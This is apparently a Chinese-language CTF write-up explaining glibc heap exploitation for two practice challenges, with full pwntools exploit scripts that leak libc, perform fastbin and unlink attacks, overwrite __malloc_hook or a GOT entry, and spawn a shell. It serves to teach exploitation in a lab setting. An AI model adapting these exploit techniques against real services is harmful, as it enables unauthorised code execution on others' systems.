先了解一下chunk的结构
struct chunk
{
size_t prev_size;
size_t size;//低3位不算在size里面
union
{
struct
{
chunk* fd;
chunk* bk;
};
char userdata[0];
}
}
size的低三位表示为:
这里会用到 PREV_INUSE(P): 表示前一个chunk是否为allocated。
P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小。
非fastbin的chunk在free时会与物理相邻的空闲chunk合并。
babyheap_0ctf_2017
保护如下:
主程序内容
程序也是这种菜单堆题目
1.是申请堆块
最多申请15次并且会返回堆块的序号
2.修改堆块的内容,并且没有限制写入堆块的大小,因此此处存在堆溢出
3.释放堆块(指针都置零了,所以不存在uaf)
4.打印堆块内容
程序流程大概熟悉之后,就是对堆溢出的利用了。因为远程是Ubuntu16所以用patchelf修改一下,在本地Ubuntu20调试
利用思路:
1.利用堆溢出,可以通过unsorted bin的机制,泄露出libc_base
2.利用fastbin attack修改malloc_hook为one_gadget
1.泄露libc_base:
这里利用堆溢出通过上面的堆块,溢出来修改下面的堆块的内容,所以先申请三个堆块,用第一个堆块修改第二个堆块的大小,使其第二块包含第三块堆块,那么第二块free之后(此时第三块也相当于free),大小大于0x80就会进入到unsorted bin(当此中只存放一个堆块的时候,fd和bk指针都会存储main_arena+88的地址)然后再把第二块申请回来,但是此时第三块还会在unsorted bin里存在并且fd和bk指针都存放main_arena+88的地址,此时再打印第三块的内容就会泄露出main_arena+88地址,然后计算libc_base和malloc_hook地址以及one_gadget地址
具体情况如下:
add(0x18)
add(0x68)#1
add(0x68)#2
add(0x18)#3
这是申请的四个堆块(第四块是为了让上面的堆块与top chunk分开)
这是通过堆溢出修改第二块的大小(第二块包含了第三块)
pay=b'a'*0x18+p64(0xe1)
fill(0,0x20,pay)
这是此时第二块堆块的内容
这是free第二块之后
free(1)
这是申请回第二块堆块
add(0x68)#1
此时第三块我们并没有对它进行free,所以我们可以打印它,泄露出libc地址
这是打印第三块
dump(2)
泄露出libc地址
这是泄露出的地址
这是malloc_hook地址
计算一下就能得出malloc_hook地址
2.通过fastbin attack攻击,修改malloc_hook地址为one_gadget
原理参考其他博主的文章第一个
第二个
由于我们的第三块在unsorted bin里所以我们可以把它申请回来,并释放第三块(物理意义上的第三块,和刚申请回来的相当于同一块),那么我们就能通过修改第五块,来控制第二块
由于第二块其大小小于0x80所以会放到fastbin里,然后通过修改第五块来控制第二块的内容
add(0x68)#4 5=2
free(2)
pay=p64(malloc_hook-0x23)
fill(4,0x8,pay)
至于为什么要-0x23,是为了绕过检测
其内容如下:
这样的话我们再申请同样大小的堆块,就会把这个当成堆块给我们,允许我们输入,就能修改修改malloc_hook地址为one_gadget,达成攻击的目的
add(0x68)#2
add(0x68)#5
pay=b'a'*0x13+p64(one_gad) #这里需要计算一下偏移,让one_gad刚好覆盖malloc_hook地址
fill(5,len(pay),pay)
add(0x18)
这是修改之后的情况
修改成功
那么再申请一次执行malloc就会执行one_gad
完整exp如下:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p=remote("node4.buuoj.cn",28182)
#p=process("./pwn31")
elf=ELF("./pwn31")
libc=ELF("./libc-2.23.so")
def bug():
gdb.attach(p)
pause()
def add(i):
p.recvuntil("Command: ")
p.sendline(str(1))
p.sendlineafter("Size: ",str(i))
def fill(idx,i,c):
p.recvuntil("Command: ")
p.sendline(str(2))
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(i))
p.sendafter("Content: ",c)
def free(i):
p.recvuntil("Command: ")
p.sendline(str(3))
p.sendlineafter("Index: ",str(i))
def dump(i):
p.recvuntil("Command: ")
p.sendline(str(4))
p.sendlineafter("Index: ",str(i))
add(0x18)
add(0x68)#1
add(0x68)#2
add(0x18)#3
bug()
pay=b'a'*0x18+p64(0xe1)
fill(0,0x20,pay)
free(1)
add(0x68)#1
dump(2)
malloc_hook=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-88-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
one_gad=libc_base+0x4526a
print(hex(libc_base))
print(hex(malloc_hook))
add(0x68)#4 5=2
free(2)
pay=p64(malloc_hook-0x23)
fill(4,0x8,pay)
add(0x68)#2
add(0x68)#5
pay=b'a'*0x13+p64(one_gad)
fill(5,len(pay),pay)
add(0x18)
p.sendline(b"cat flag")
p.interactive()
[ZJCTF 2019]EasyHeap
也是菜单
保护如下:
1.申请堆块最多申请10次
申请的堆块指针也会存放在bss段上
2.编辑堆块
此处并未检查申请堆块的大小,允许我们任意输入大小,所以此处存在堆溢出
3.释放堆块
free之后指针被置零了,所以不存在uaf漏洞
利用思路:
这个题目虽然和上一道题一样存在堆溢出漏洞,但是这道题没有dump函数打印堆块内容,根据保护可知,got表可写,而且没开启pie保护,所以思路就是用unlink修改free或者malloc函数的got表地址为后门函数地址但是这个并不能获取flag,所以选择将其修改为system函数的地址(下面选择的是修改free的got表地址,因为选择malloc的话,可能会修改掉其他的got表项导致程序报错,所以下面选择free函数的got表项)
unlink原理在ctfwiki
理解原理之后就是实际操作了
第一步先申请三个堆块
add(0x90,b"aaa")#0
add(0x90,b"aaa")#1
add(0x20,b"/bin/sh\x00")#2
chunk2的目的是为了free(2)的时候就相当于执行system(“/bin/sh”)了
伪造假的堆块并且使chunk1向前合并完成unlink攻击把堆块的指针修改为heaparray_addr-0x18
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
free(1)
-0x18和-0x10是固定的
这样再编辑chunk0的时候就相当于从0x6020c8(heaparray_addr-0x18)处开始写入了
把heaparray_addr处修改成free_got地址,那么再次编辑chunk0的时候就想当于编辑free_got地址了
payload = p64(0)*3 +p64(free_got)
edit(0,0x20 ,payload)
edit(0,8,p64(0x400C27))
发现后门函数不可用
那么把后门函数地址改为system的plt
总exp如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote("node4.buuoj.cn",27488)
#p=process("./easyheap")
elf=ELF("./easyheap")
libc=ELF("./libc-2.23.so")
def bug():
gdb.attach(p)
pause()
def add(i,c):
p.recvuntil("Your choice :")
p.sendline(str(1))
p.sendlineafter("Size of Heap : ",str(i))
p.sendafter("Content of heap:",c)
def edit(idx,i,c):
p.recvuntil("Your choice :")
p.sendline(str(2))
p.sendlineafter("Index :",str(idx))
p.sendlineafter("Size of Heap : ",str(i))
p.sendafter("Content of heap : ",c)
def free(i):
p.recvuntil("Your choice :")
p.sendline(str(3))
p.sendlineafter("Index :",str(i))
def dump(i):
p.recvuntil("Your choice :")
p.sendline(str(4))
p.sendlineafter("Index : ",str(i))
heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']
#attack
add(0x90,b"aaa")#0
add(0x90,b"aaa")#1
add(0x20,b"/bin/sh\x00")#2
#bug()
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
free(1)
#bug()
payload = p64(0)*3 +p64(free_got)
edit(0,0x20 ,payload)
edit(0,8,p64(system_plt))
free(2)
p.sendline(b'cat flag')
p.interactive()